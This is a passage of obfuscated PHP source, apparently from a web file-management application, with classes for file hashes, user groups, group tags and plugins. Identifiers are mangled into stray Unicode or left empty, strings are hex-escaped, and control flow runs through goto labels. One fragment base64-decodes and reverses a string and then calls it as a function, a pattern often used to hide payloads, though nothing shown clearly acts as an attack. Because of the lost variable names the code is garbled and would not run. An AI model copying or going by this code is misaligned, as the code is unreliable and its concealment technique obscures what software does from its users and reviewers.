IO::hashMd5($ϸ) : $[12]; $ = $[2042] . $հ; CacheLock::lock($); if ($ && $հ) { $ = $this->addFileCheckExist($հ, $, $µ); if ($) { CacheLock::unlock($); return $; } } $ˀ = $this->addFileMake($ϸ, $µ, $հ, $, $ᖥ, $ғ); $͘ = $this->addFileData($ˀ); CacheLock::unlock($); if (!$ && $͘) { $this->fileMd5Check($͘); } return $͘; } public function fileMd5Check($) { $җ =& $_SERVER[]; $ = array($[$җ[550]], $[$җ[97]]); $߀ = $җ[2043] . $[$җ[97]]; $ۏ = $җ[2044] . $[$җ[550]]; TaskQueue::add($җ[2045], $, $߀, $ۏ); } public function fileMd5Set($뙄, $䢞) { $א =& $_SERVER[]; $ = $this->find($뙄); if (!$ || $[$א[556]]) { return; } $↚׫ = IO::hashMd5($䢞); if (!$↚׫) { return $א[12]; } $this->where(array($א[550] => $뙄))->save(array($א[556] => $↚׫)); } public function addFileMake($ӥϬ, $, $, $˼, $ǒ, $Ѐ) { $꜍ =& $_SERVER[]; $ڛĻ = $this->createFileName($ǒ, $, $˼); $ = get_path_father($ڛĻ); $Ԣ = get_path_this($ڛĻ); if ($Ѐ) { $Ϊ = IO::move($ӥϬ, $, !1, $Ԣ); } else { $Ϊ = IO::copy($ӥϬ, $, !1, $Ԣ); } if (!$Ϊ) { return !1; } $Ŭ = KodIO::defaultDriver(); $Ɛ = array($꜍[626] => $, $꜍[2039] => 1, $꜍[503] => $ǒ, $꜍[898] => $Ŭ[$꜍[484]], $꜍[504] => $ڛĻ, $꜍[2040] => $, $꜍[2041] => $˼); return $Ɛ; } public function addFileCheckExist($ԯ, $΀Ͼ, $Ì) { $éȃ =& $_SERVER[]; $ = $this->findByHash($ԯ, $΀Ͼ); if (!$) { return !1; } $ = array($éȃ[2039] => intval($[$éȃ[2046]]) + 1, $éȃ[626] => $Ì); $this->where(array($éȃ[551] => $[$éȃ[550]]))->save($); return $; } public function remove($҆) { $this->linkCountChange($҆, !1); $this->clearEmpty(); return !0; } public function linkAdd($ʨ) { $this->linkCountChange($ʨ, !0); } public function linkCountChange($, $) { $Ԯ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $ϗ) { $͠ = $ϗ . $Ԯ[12]; if (!$[$͠]) { $[$͠] = 0; } $[$͠]++; } $׻ = array(); foreach ($ as $ϗ => $) { $͠ = $ . $Ԯ[12]; if (!$׻[$͠]) { $׻[$͠] = array(); } $׻[$͠][] = $ϗ; } foreach ($׻ as $ => $) { if (!$) { continue; } $ = $ ? $ : -intval($); $Ɖ = array($Ԯ[550] => array($Ԯ[7], $)); if ($ < 0) { $Ɖ[$Ԯ[2046]] = array($Ԯ[1104], abs($)); } $this->where($Ɖ)->setAdd($Ԯ[2046], $); } } public function findByHash($, $ = false) { $ =& $_SERVER[]; if (!$ && !$) { return !1; } $ = array($[2040] => $); if ($) { $ = array($[2041] => $); } return $this->order($[2047])->where($)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[]; $ = time() - 3600 * 24 * $; $ = $[2048] . $; $ˣ = $this->where($)->select(); if (!$ˣ) { return; } $ = new Task($[2049], $[12], count($ˣ)); foreach ($ˣ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $ =& $_SERVER[]; $˼ = array($[551] => $[$[550]]); $ = Model($[1429])->where($˼)->count(); $ = Model($[2050])->where($˼)->count(); $ӔǗ = intval($) + intval($); if ($ӔǗ == 0) { IO::remove($[$[97]]); Model($[2051])->delete($[$[550]]); $this->where($˼)->delete(); $this->metaSet($[$[550]], null, null); write_log(ACTION . $[2052] . KodUser::id() . $[2053] . $[$[550]] . $[2054] . $[$[89]] . $[211] . $[$[97]], $[2055]); return; } if ($[$[2046]] != $ӔǗ) { $this->where($˼)->save(array($[2039] => $ӔǗ)); } } public function storageInfo($ = false) { $ =& $_SERVER[]; $ = $this->count() + 0.0; $瘃 = 0; $ = 1; $욎 = 0; $ = 5000; for ($ˌ = 0; $ˌ < $; $ˌ = $ˌ + $) { $嵍 = $this->limit($ˌ, $ˌ + $)->select(); foreach ($嵍 as $) { $ += $[$[89]] * $[$[2046]]; $瘃 += $[$[89]] * ($[$[2046]] - 1); $욎 += $[$[2046]]; } } $ = array($[2056] => $, $[2057] => $瘃, $[2058] => $瘃 / $, $[93] => $, $[2059] => $욎); return $; } } class GroupModel extends ModelBase { protected $tableName = "\147\x72\157\165\x70"; protected $tableMeta = array("\164\141\x62\154\x65\x4e\x61\x6d\145" => "\147\162\x6f\165\x70\137\155\145\164\141", "\155\x65\164\141\106\x69\145\154\x64" => "\147\162\157\165\x70\x49\x44"); protected function cacheFunctionAlias($߀) { $ =& $_SERVER[]; return array($[2060] => array($߀[0], $[2061]), $[2062] => array($߀[0], $[2063])); } protected function getInfo($, $ş = false) { $ϯ = $this->getInfoSimple($); if (!$ϯ) { return !1; } if ($ş) { return $this->_listDataApplyItem($ϯ); } return $this->cacheFunctionGet($_SERVER[][2064], $); } protected function getInfoSimple($ꈂ, $Ǘ = false) { $ı =& $_SERVER[]; if ($Ǘ) { $‰ = array($ı[1978] => intval($ꈂ)); $ň = $this->where($‰)->find(); return is_array($ň) ? $ň : array(); } return $this->cacheFunctionGet($ı[2065], $ꈂ); } protected function groupAdd($Ȅ) { $޻ =& $_SERVER[]; if (!$Ȅ[$޻[202]] && isset($Ȅ[$޻[1978]]) && $Ȅ[$޻[1978]] == 1) { if ($눊 = $this->getInfoSimple($Ȅ[$޻[1978]], !0)) { return $Ȅ[$޻[1978]]; } } else { $눊 = $this->getInfoSimple($Ȅ[$޻[202]]); if (!$눊) { return !1; } } $ā֎ = $޻[603]; if ($눊[$޻[593]]) { $ā֎ = $눊[$޻[593]] . $눊[$޻[1978]] . $޻[50]; } $۝ = array($޻[503] => $this->groupNameAuto($Ȅ[$޻[202]], $Ȅ[$޻[32]]), $޻[486] => $Ȅ[$޻[202]], $޻[661] => $ā֎, $޻[2066] => $Ȅ[$޻[1964]], $޻[2067] => 0, $޻[1982] => 0); if (isset($Ȅ[$޻[2002]])) { $۝[$޻[2002]] = $Ȅ[$޻[2002]]; } else { $Ҹ = $this->max($޻[2002]); if (!$Ҹ) { $Ҹ = 0; } $۝[$޻[2002]] = $Ҹ + 1; } if (!empty($Ȅ[$޻[1978]])) { $۝[$޻[1978]] = $Ȅ[$޻[1978]]; } $޳ = $this->add($۝); $this->setNamePinyin($޳, $۝[$޻[32]]); if (isset($Ȅ[$޻[2068]])) { $this->metaSet($޳, array($޻[2068] => $Ȅ[$޻[2068]], $޻[2069] => $Ȅ[$޻[2069]])); unset($Ȅ[$޻[2068]]); unset($Ȅ[$޻[2069]]); } Model($޻[1429])->groupRootAdd($޳); $this->_clearCache($Ȅ[$޻[202]]); return $޳; } protected function groupEdit($, $) { $ཥ =& $_SERVER[]; $ۯ = $this->getInfoSimple($); if (!$ۯ) { return !1; } if (!empty($[$ཥ[202]])) { $Й = $this->getInfoSimple($[$ཥ[202]]); if (!$Й) { return !1; } if ($ۯ[$ཥ[1978]] == $Й[$ཥ[1978]]) { return !1; } if ($[$ཥ[202]] != $ۯ[$ཥ[202]]) { if ($Й[$ཥ[593]] !== $ۯ[$ཥ[593]] && strpos($Й[$ཥ[593]], $ۯ[$ཥ[593]] . $ۯ[$ཥ[1978]] . $ཥ[50]) === 0) { return !1; } $[$ཥ[661]] = $Й[$ཥ[593]] . $[$ཥ[202]] . $ཥ[50]; $this->_changeChildLevel($ۯ, $Й); $this->_clearCache($Й[$ཥ[1978]]); $this->_clearCache($ۯ[$ཥ[202]]); } } if (isset($[$ཥ[32]])) { $this->setNamePinyin($, $[$ཥ[32]]); } if (isset($[$ཥ[2068]])) { $this->metaSet($, array($ཥ[2068] => $[$ཥ[2068]], $ཥ[2069] => $[$ཥ[2069]])); unset($[$ཥ[2068]]); unset($[$ཥ[2069]]); } $this->_clearChildrenCache($ۯ); return $this->where(array($ཥ[2070] => $))->save($); } private function _clearChildrenCache($) { $؂ =& $_SERVER[]; $ݼ = array($؂[661] => array($؂[621], $[$؂[593]] . $[$؂[1978]] . $؂[622])); $Ü = $this->field($؂[1978])->where($ݼ)->select(); foreach ($Ü as $) { $this->_clearCache($[$؂[1978]]); } } private function _clearCache($ӂ) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2064], $ӂ); $this->cacheFunctionClear($[2065], $ӂ); } private function _changeChildLevel($, $, $™ = false) { $܍ =& $_SERVER[]; $ = $[$܍[593]] . $[$܍[1978]] . $܍[50]; $ = $[$܍[593]] . $[$܍[1978]] . $܍[50] . $[$܍[1978]] . $܍[50]; if ($™) { $ = $[$܍[593]] . $[$܍[1978]] . $܍[50]; } $ = array($܍[661] => array($܍[621], $[$܍[593]] . $[$܍[1978]] . $܍[622])); $ = array($܍[661] => array($܍[670], "\162\145\x70\x6c\x61\143\145\50\x70\x61\x72\145\156\164\x4c\x65\x76\x65\x6c\x2c\x27{$}\47\54\x27{$}\47\x29")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($塮, $ = false) { $ =& $_SERVER[]; if (!$) { $Ս = $this->getInfoSimple($塮); $ = $Ս[$[32]]; } if (!Input::check($, $[664])) { $this->metaSet($塮, $[547], null); $this->metaSet($塮, $[546], null); return; } $ = array($[547] => str_replace($[53], $[12], Pinyin::get($)), $[546] => Pinyin::get($, $[665])); $this->metaSet($塮, $); } protected function groupStatus($ݺ, $ܟ) { $ہ =& $_SERVER[]; $Ɲ = $this->getInfoSimple($ݺ); if (!$Ɲ) { return !1; } $this->_clearCache($ݺ); return $this->metaSet($ݺ, $ہ[839], $ܟ); if ($ܟ == $ہ[101]) { $߼ = $this->parentLevelArray($Ɲ[$ہ[593]]); } else { } $߼[] = $Ɲ[$ہ[1978]]; $ѭۊ = array(); foreach ($߼ as $ݺ) { $ѭۊ[] = array($ہ[1978] => $ݺ, $ہ[107] => $ہ[839], $ہ[459] => $ܟ); $this->_clearCache($ݺ); } return Model($ہ[2071])->addAll($ѭۊ, array(), !0); } protected function groupRemove($ս㰯, $ṷ = false) { $ћ =& $_SERVER[]; $ѓ = array($ћ[1978] => $ս㰯); $ƾ = $this->where($ѓ)->find(); if (!$ƾ || $ƾ[$ћ[202]] == 0) { return !1; } if (!$ṷ) { $ = $this->getInfoSimple($ƾ[$ћ[202]]); $this->_changeChildLevel($ƾ, $, !0); $this->where(array($ћ[202] => $ս㰯))->save(array($ћ[202] => $ƾ[$ћ[202]])); $this->_clearCache($[$ћ[1978]]); } Model($ћ[2071])->where($ѓ)->delete(); Model($ћ[2072])->where($ѓ)->delete(); Model($ћ[914])->groupRootRemove($ս㰯); $this->_clearCache($ƾ[$ћ[202]]); return $this->where($ѓ)->delete(); } protected function groupSort($) { $ȶ鵂 =& $_SERVER[]; $񏭒 = array(); foreach ($ as $ => $Γ) { $񏭒[] = array($ȶ鵂[1978], $Γ, $ȶ鵂[2002], $ + 1); } $this->saveAll($񏭒); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][454]]); return $; } private function _makeOrder($ = '') { $٪ =& $_SERVER[]; $䦞 = array($٪[1978], $٪[32], $٪[1966], $٪[241]); $ = array($٪[532] => $٪[533], $٪[534] => $٪[535]); $۶ = Input::get($٪[539], $٪[7], $٪[1982], $䦞); $ = Input::get($٪[540], $٪[7], $٪[2073], array($٪[2073], $٪[534])); $ = $[$]; $ = $ . "{$۶}\40{$}\54\40\x67\162\x6f\165\160\111\x44\40\x61\163\143"; return $this->order($); } public function listChild($ڟ) { $փ =& $_SERVER[]; $ܩ = $this->where(array($փ[202] => $ڟ))->_makeOrder()->selectPage(200); $this->_listDataApply($ܩ[$փ[454]]); return $ܩ; } public function listChildIds($) { $훉 =& $_SERVER[]; if (is_string($Ҡ)) { $ = explode($훉[50], $); } $߷ = $this->where(array($훉[1978] => array($훉[7], $)))->field($훉[2074])->select(); if (!$߷) { return !1; } $ύ = array(); foreach ($߷ as $ه) { $ύ[] = "\x73\145\x6c\145\143\x74\40\x67\162\157\x75\160\x49\x44\x20\146\x72\157\155\40\140\x67\162\x6f\165\x70\x60\x20\x77\150\145\162\145\x20\x70\141\162\x65\156\x74\x4c\145\166\145\154\40\x6c\151\153\145\x20\47{$ه[$훉[593]]}{$ه[$훉[1978]]}\54\x25\47"; } $ύ = implode($훉[2075], $ύ); $߷ = $this->query($ύ); if (!$߷) { return array(); } $ = array_to_keyvalue($߷, $훉[12], $훉[1978]); return array_unique($); } public function listByID($֨) { $Ƽݡ =& $_SERVER[]; if (!$֨) { return array(); } $̪ = array($Ƽݡ[1978] => array($Ƽݡ[7], $֨)); $ = $this->where($̪)->select(); $ = array_sort_keep($, $Ƽݡ[1978], $֨); $this->_listDataApply($); return $; } public function listSearch($ӈ) { $ =& $_SERVER[]; $ = trim($ӈ[$[2076]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($ӈ); } $ = array($[454] => array()); foreach ($ as $畧) { if (!trim($畧)) { continue; } $ӈ[$[2076]] = $畧; $ = $this->listSearchNow($ӈ); $[$[454]] = array_merge($[$[454]], $[$[454]]); } $[$[454]] = array_unique_by_key($[$[454]], $[1978]); $[$[451]] = array($[452] => count($[$[454]]), $[448] => 20, $[438] => 1, $[453] => 1); return $; } public function listSearchNow($) { $ܨ =& $_SERVER[]; $ż = trim($[$ܨ[2076]]); $ăǪ = isset($[$ܨ[2077]]) ? $[$ܨ[2077]] : !1; if (!trim($ż)) { return !1; } $ż = str_replace($ܨ[2078], $ܨ[2079], $ż); $ƾ = array($ܨ[1978] => array($ܨ[468], "{$ż}\45"), $ܨ[32] => array($ܨ[468], "\45{$ż}\x25"), $ܨ[1089] => $ܨ[2080]); if ($ăǪ) { $쐜 = $this->getInfoSimple($ăǪ); $ى = $쐜[$ܨ[593]] . $ăǪ . $ܨ[622]; $ƾ = array($ƾ, array($ܨ[593] => array($ܨ[468], $ى))); } $ƾ = $this->parseWhereLike($ƾ); $۸ = $this->_makeOrder()->where($ƾ)->selectPage(20); $۸ = $۸ ? $۸ : array($ܨ[454] => array(), $ܨ[451] => array()); if (!$۸ || count($۸[$ܨ[454]]) < 5 && Input::check($ż, $ܨ[403])) { $Ȩځ = $this->groupChildrenAll($ăǪ); $˶ = $this->_searchFromMeta($ܨ[546], $ż, 10, $Ȩځ); $ʼn = $this->_searchFromMeta($ܨ[547], $ż, 10, $Ȩځ); $ = array_merge($˶, $ʼn, $۸[$ܨ[454]]); $۸[$ܨ[454]] = array_unique_by_key($, $ܨ[1978]); $۸[$ܨ[451]][$ܨ[452]] = count($۸[$ܨ[454]]); $۸[$ܨ[451]][$ܨ[453]] = ceil($۸[$ܨ[451]][$ܨ[452]] / $۸[$ܨ[451]][$ܨ[448]]); } $this->_listDataApply($۸[$ܨ[454]]); return $۸; } protected function groupChildrenAll($) { $ς =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $䓱 = $; foreach ($ as $ŸН) { $ = $this->getInfoSimple($ŸН); $ = array($ς[593] => array($ς[468], $[$ς[593]] . $ŸН . $ς[622])); $ = $this->field($ς[1978])->where($)->select(); $䓱 = array_merge($䓱, array_to_keyvalue($, $ς[12], $ς[1978])); } return array_unique($䓱); } private function _searchFromMeta($Ũ, $Ә, $, $) { $ݿܙ =& $_SERVER[]; $Ә = strtolower($Ә); $Ѫܶ = array($ݿܙ[107] => $Ũ, $ݿܙ[459] => array($ݿܙ[468], "\x25{$Ә}\x25")); $Ѫܶ = $this->parseWhereLike($Ѫܶ); if ($) { $Ѫܶ[$ݿܙ[1978]] = array($ݿܙ[7], $); } $ = Model($ݿܙ[2081])->where($Ѫܶ)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ݿܙ[12], $ݿܙ[1978]); $߆ = $this->where(array($ݿܙ[2070] => array($ݿܙ[7], $)))->select(); if (!$߆) { return array(); } return $߆; } protected function _listDataApplyItem($ղ) { $ = array($ղ); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ւ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $ւ[12], $ւ[1978]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$۸) { $ =& $_SERVER[]; $ީ = array_to_keyvalue($۸, $[12], $[1978]); $ = array($[202] => array($[7], $ީ)); $ɉ̡ = array($[202], $[2082] => $[574]); $𓤥 = $this->field($ɉ̡)->where($)->group($[202])->select(); $ = array_to_keyvalue($𓤥, $[202], $[574]); foreach ($۸ as &$ᒓ) { $ۈ = $ᒓ[$[1978]]; $ᒓ[$[2083]] = isset($[$ۈ]) ? intval($[$ۈ]) : !1; } unset($ᒓ); } private function _listAppendChildrenMember(&$) { $컙 =& $_SERVER[]; $ٗ = array_to_keyvalue($, $컙[12], $컙[1978]); $ƒ = array($컙[1978] => array($컙[7], $ٗ)); $荧 = array($컙[1978], $컙[2082] => $컙[574]); $ = Model($컙[2072])->field($荧)->where($ƒ)->group($컙[1978])->select(); $ = array_to_keyvalue($, $컙[1978], $컙[574]); foreach ($ as &$ߡד) { $׷ = $ߡד[$컙[1978]]; $ߡד[$컙[2084]] = isset($[$׷]) ? intval($[$׷]) : !1; } unset($ߡד); } private function _listAppendMeta(&$ف, $Ӂ) { $ =& $_SERVER[]; $˧ = array($[1978] => array($[7], $Ӂ)); $ = Model($[2071])->where($˧)->select(); $ = array_to_keyvalue_group($, $[1978]); foreach ($ as &$Ԃ) { $Ԃ = array_to_keyvalue($Ԃ, $[107], $[459]); } unset($Ԃ); foreach ($ف as &$üŒ) { $üŒ[$[548]] = array(); if (isset($[$üŒ[$[1978]]])) { $üŒ[$[548]] = $[$üŒ[$[1978]]]; } } unset($üŒ); } protected function parentLevelArray($) { $┟ =& $_SERVER[]; $ = explode($┟[50], trim($, $┟[50])); $ = array_remove_value($, $┟[238]); return $; } protected function parentInGroup($𭖵, $) { $߹ =& $_SERVER[]; $ = $this->getInfoSimple($𭖵); if (!$) { return !0; } $躅 = $this->parentLevelArray($[$߹[593]]); $躅[] = $𭖵; foreach ($躅 as $𭖵) { if (in_array($𭖵 . $߹[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ո =& $_SERVER[]; $ = array(); foreach ($ as &$̔) { $[$̔[$ո[1978]]] = $̔[$ո[32]]; $ = $this->parentLevelArray($̔[$ո[593]]); foreach ($ as $ك) { if (!isset($[$ك])) { $[$ك] = 0; } } } unset($̔); foreach ($ as $퇍ބ => $Ҝ߃) { if ($Ҝ߃) { continue; } $ = $this->getInfoSimple($퇍ބ); $[$퇍ބ] = $[$ո[32]]; } $誵 = $GLOBALS[$ո[6]][$ո[102]][$ո[2085]]; if (KodUser::isRoot()) { $誵 = !1; } foreach ($ as &$̔) { $ = $this->parentLevelArray($̔[$ո[593]]); $ؿ = $ո[12]; foreach ($ as $퇍ބ => $ك) { if ($誵 && $퇍ބ == 0) { continue; } $ؿ .= $[$ك] . $ո[8]; } if ($) { $ؿ .= $̔[$ո[32]]; } $̔[$ո[598]] = str_replace($ո[601], $ո[8], $ؿ); } unset($̔); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $Ա = Model($[914])->listSourceRoot(SourceModel::TYPE_GROUP, $); $Ա = array_to_keyvalue($Ա, $[578]); $Ա = array_remove_key($Ա, $[578]); foreach ($ as &$) { $[$[100]] = $Ա[$[$[1978]]] ? $Ա[$[$[1978]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $Ž = array(); for ($ = 0; $ < count($); $++) { $č = !1; for ($￱ = 0; $￱ < count($); $￱++) { if ($ == $￱) { continue; } if ($this->isParentOf($[$￱], $[$])) { $č = !0; break; } } if (!$č) { $Ž[] = $[$]; } } return $Ž; } protected function isParentOf($Ԧ, $) { $ӊ =& $_SERVER[]; if (!$Ԧ || !$ || $Ԧ == $) { return !1; } $ܡ = $this->getInfoSimple($Ԧ); $ = $this->getInfoSimple($); $ = $ܡ[$ӊ[593]] . $Ԧ . $ӊ[50]; if (substr($[$ӊ[593]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($™, $ = false) { $ϭ =& $_SERVER[]; $С = $this->getInfo($™); if (!$С) { return array(); } $Δ = $this->parentLevelArray($С[$ϭ[593]]); $ = array($™); if (count($Δ) == 0) { return $; } if ($ && count($Δ) == 1) { return $; } if (!$С[$ϭ[548]] || !isset($С[$ϭ[548]][$ϭ[2068]]) || $С[$ϭ[548]][$ϭ[2068]] == $ϭ[865]) { return $this->groupShowRoot($Δ[count($Δ) - 1], $); } if ($С[$ϭ[548]][$ϭ[2068]] == $ϭ[442]) { $ = explode($ϭ[50], $С[$ϭ[548]][$ϭ[2069]]); if ($) { $ = array_merge($, $); } } return $; } protected function resetParentLevel() { $˫ =& $_SERVER[]; $ࣄ = $˫[1978]; $ߍ = $this->select(); $ߍ = array_to_keyvalue($ߍ, $ࣄ); foreach ($ߍ as $Ț) { $ϭ = $Ț; $، = array(); while ($ϭ[$˫[202]] != 0) { $،[] = $ϭ[$˫[202]]; $ϭ = $ߍ[$ϭ[$˫[202]]]; } $،[] = 0; $، = $˫[50] . implode($˫[50], array_reverse($،)) . $˫[50]; $this->setNamePinyin($Ț[$ࣄ], $Ț[$˫[32]]); $this->where(array($ࣄ => $Ț[$ࣄ]))->save(array($˫[661] => $،)); } return $ߍ; } public function groupNameAuto($, $퍵) { $ =& $_SERVER[]; $ = $this->where(array($[486] => $))->getField($[32], !0); if (!$ || !in_array($퍵, $)) { return $퍵; } for ($ = 1; $ <= count($) + 1; $++) { $碨 = $퍵 . "\50{$}\x29"; if (!in_array($碨, $)) { return $碨; } } } public function groupSwitch($, $ʐ) { $܊ =& $_SERVER[]; $ݺ = array($܊[1978] => array($܊[7], array($, $ʐ))); $٫ښ = $this->where($ݺ)->select(); $٫ښ = array_to_keyvalue($٫ښ, $܊[1978]); if (!isset($٫ښ[$]) || !isset($٫ښ[$ʐ]) || $٫ښ[$][$܊[202]] == 0) { return !1; } $ݺ = array($܊[1978] => $); $ƨ = Model($܊[2072])->where($ݺ)->select(); if (!$ƨ) { $ƨ = array(); } foreach ($ƨ as $恚) { $Ƕ = $恚[$܊[1779]]; $ݺ = array($܊[1779] => $Ƕ, $܊[1978] => $ʐ); $ = Model($܊[2072])->where($ݺ)->find(); if (!$) { $ε€ = array($ʐ => $恚[$܊[2086]]); Model($܊[607])->userGroupAdd($Ƕ, $ε€); } Model($܊[607])->userGroupRemove($Ƕ, $); } $ݺ = array($܊[200] => 2, $܊[202] => 0, $܊[494] => 1, $܊[578] => array($܊[7], array($, $ʐ))); $ = Model($܊[914])->where($ݺ)->field($܊[2087])->select(); $ = array_to_keyvalue($, $܊[578], $܊[203]); $İ = !empty($[$]) ? $[$] : !1; if ($İ) { if (!$[$ʐ]) { $[$ʐ] = Model($܊[914])->groupRootAdd($ʐ); } $޴ = $[$ʐ]; $ݺ = array($܊[202] => $İ); $ = Model($܊[914])->where($ݺ)->field($܊[2088])->select(); if (!$) { $ = array(); } Model($܊[914])->moveClearAuth = !1; foreach ($ as $ݻ) { $ʻ = $ݻ[$܊[494]] == $܊[101] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($܊[914])->move($ݻ[$܊[203]], $޴, $ʻ); } Model($܊[914])->moveClearAuth = !0; $ݺ = array($܊[200] => 2, $܊[578] => $); $Ӂ = array($܊[578] => $ʐ); Model($܊[2089])->where($ݺ)->save($Ӂ); Model($܊[2090])->where($ݺ)->save($Ӂ); } $this->_changeChildLevel($٫ښ[$], $٫ښ[$ʐ], !0); $this->where(array($܊[202] => $))->save(array($܊[202] => $ʐ)); $this->_clearChildrenCache($٫ښ[$ʐ]); return !0; } } goto fՄ; ADž: function binCheckBigger($ၠ, $) { return $ၠ > $; } $_SERVER[$_SERVER[̀][3]] = ("\70\65\62\71".base64_decode('OTc='))+0;$_2jeh="s42a8o60y7bptjfel5v9cd3xnqhgz1miwkurtgnw9jxdq3ay1b08vpmrzeo2c7u6kfhsi";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($ߴ, $ӕ) { $ =& $_SERVER[]; if (isset(self::$_methodList[$ߴ])) { return @call_user_func_array(self::$_methodList[$ߴ], $ӕ); } else { if (method_exists($this, $ߴ)) { return call_user_func_array(array($this, $ߴ), $ӕ); } else { think_exception(__CLASS__ . $[4] . $ߴ . $[5]); } } } public static function __callStatic($ɵ, $Ė) { if (isset(self::$_methodListStatic[$ɵ])) { return call_user_func_array(self::$_methodListStatic[$ɵ], $Ė); } else { if (method_exists(self, $ɵ)) { return call_user_func_array(array(self, $ɵ), $Ė); } else { show_json("{$ɵ}\50\x29\x20\156\157\x74\x20\x65\x78\151\163\164\73", !1); } } } public static function addMethod($뛧, $Γ) { self::$_methodList[$뛧] = $Γ; } public static function addMethodStatic($ܱ, $ʣմ) { self::$_methodListStatic[$ܱ] = $ʣմ; } } goto e咼; a썍: $fileSize = strrev(base64_decode($_SERVER[̀][0])); function binCheckNeq($קč, $) { return $קč != $; } $_SERVER[$_SERVER[̀][1]] = $fileSize($_SERVER[$_SERVER[̀][2]]); goto ADž; A: class GroupTagModel extends ModelBase { protected $tableName = "\165\163\145\162\137\146\x61\166"; protected function cacheFunctionAlias($ƾ) { $϶ϒ =& $_SERVER[]; return array($϶ϒ[2091] => array($ƾ[0], $϶ϒ[2092]), $϶ϒ[2093] => array($ƾ[0], $϶ϒ[2094])); } protected function get($ߚ) { $̢ =& $_SERVER[]; $ޓΑ = Model($̢[594])->metaGet($ߚ, $̢[2095]); $ᓘ = json_decode($ޓΑ, !0); return $ᓘ ? $ᓘ : array($̢[2096] => $̢[101], $̢[454] => array()); } protected function set($, $曗) { $҂ =& $_SERVER[]; $曗 = $曗 ? $曗 : array($҂[2096] => $҂[101], $҂[454] => array()); return Model($҂[594])->metaSet($, $҂[2095], json_encode($曗)); } protected function getByTagID($؅, $) { $ =& $_SERVER[]; if (!$؅ || !$) { return !1; } if (!Model($[594])->getInfoSimple($؅)) { return !1; } $ݲۢ = $this->get($؅); if (!$ݲۢ || !isset($ݲۢ[$[454]])) { return !1; } $Ѕ = array_find_by_field($ݲۢ[$[454]], $[484], $); return is_array($Ѕ) ? $Ѕ : !1; } public function listSource($Ÿ, $ҿӓ) { $ =& $_SERVER[]; if ($ҿӓ && !is_array($ҿӓ)) { $ҿӓ = array($ҿӓ); } $ކ = $this->listData($Ÿ); $¸ȏ = array(); foreach ($ކ as $) { $׸ = $[$[97]]; if (!$׸) { continue; } if (!isset($¸ȏ[$׸])) { $¸ȏ[$׸] = array(); } $¸ȏ[$׸][] = $[$[509]]; } $̠ = array(); foreach ($¸ȏ as $񋄩 => $򆾀) { $ = !0; if (!$ҿӓ) { $̠[] = $񋄩; continue; } foreach ($ҿӓ as $) { if (!in_array($, $򆾀)) { $ = !1; break; } } if ($) { $̠[] = $񋄩; } } if (!$̠) { return array(); } $ũ = array($[500] => array($[501], $̠), $[578] => $Ÿ, $[200] => SourceModel::TYPE_GROUP); $銞 = Model($[1429])->listSource($ũ); if (!$銞 || count($̠) == $銞[$[451]][$[452]]) { return $銞; } $ً = array(); $Ւ = array_to_keyvalue($銞[$[95]], $[12], $[203]); $ã = array_to_keyvalue($銞[$[96]], $[12], $[203]); $Ʌ = array_merge($ã, $Ւ); foreach ($̠ as $׸) { if (!in_array($׸, $Ʌ)) { $ً[] = $׸; } } if ($ً) { $this->removeBySource($Ÿ, $ً); } return $銞; } protected function listData($߀) { $؉ɲ =& $_SERVER[]; $ = array($؉ɲ[1770] => 0, $؉ɲ[566] => array($؉ɲ[2097], 0), $؉ɲ[505] => $؉ɲ[2098] . $߀); $掭 = $؉ɲ[2099]; $ = $this->field($掭)->where($)->order($؉ɲ[2100])->select(); return $ ? $ : array(); } protected function addToTag($˙, $, $) { $ߵ =& $_SERVER[]; if (!$this->getByTagID($˙, $) || !$) { return !1; } if (!Model($ߵ[914])->pathInfo($)) { return !1; } $к = array($ߵ[1770] => 0, $ߵ[566] => $, $ߵ[504] => $, $ߵ[505] => $ߵ[2101] . $˙, $ߵ[503] => $ߵ[12], $ߵ[1982] => 0); if ($this->where($к)->find()) { return !1; } return $this->add($к); } protected function removeFromTag($ˌ, $쇦, $) { $ =& $_SERVER[]; if (!$this->getByTagID($ˌ, $) || !$쇦) { return !1; } if (is_array($쇦)) { $쇦 = array($[7], $쇦); } $ = array($[1770] => 0, $[566] => $, $[505] => $[2101] . $ˌ, $[504] => $쇦); return $this->where($)->delete(); } protected function removeByTag($ٟ, $) { $䞛 =& $_SERVER[]; if (!$this->getByTagID($ٟ, $)) { return !1; } $ = array($䞛[1770] => 0, $䞛[566] => $, $䞛[505] => $䞛[2101] . $ٟ); return $this->where($)->delete(); } protected function removeBySource($, $δը) { $÷dz =& $_SERVER[]; if (!$ || !$δը) { return !1; } if (is_array($δը)) { $δը = array($÷dz[7], $δը); } $Թ = array($÷dz[1770] => 0, $÷dz[504] => $δը, $÷dz[566] => array($÷dz[1103], 0), $÷dz[505] => $÷dz[2101] . $); return $this->where($Թ)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\x6d\x2e\160\154\165\147\151\x6e\114\151\163\164"; public $field = array("\156\x61\x6d\145", "\x73\164\141\164\x75\163", "\x72\145\x67\x69\x65\163\x74", "\x63\157\x6e\x66\151\x67"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $ꦫ =& $_SERVER[]; Hook::trigger($ꦫ[2102]); $ = $this->loadPluginList(); 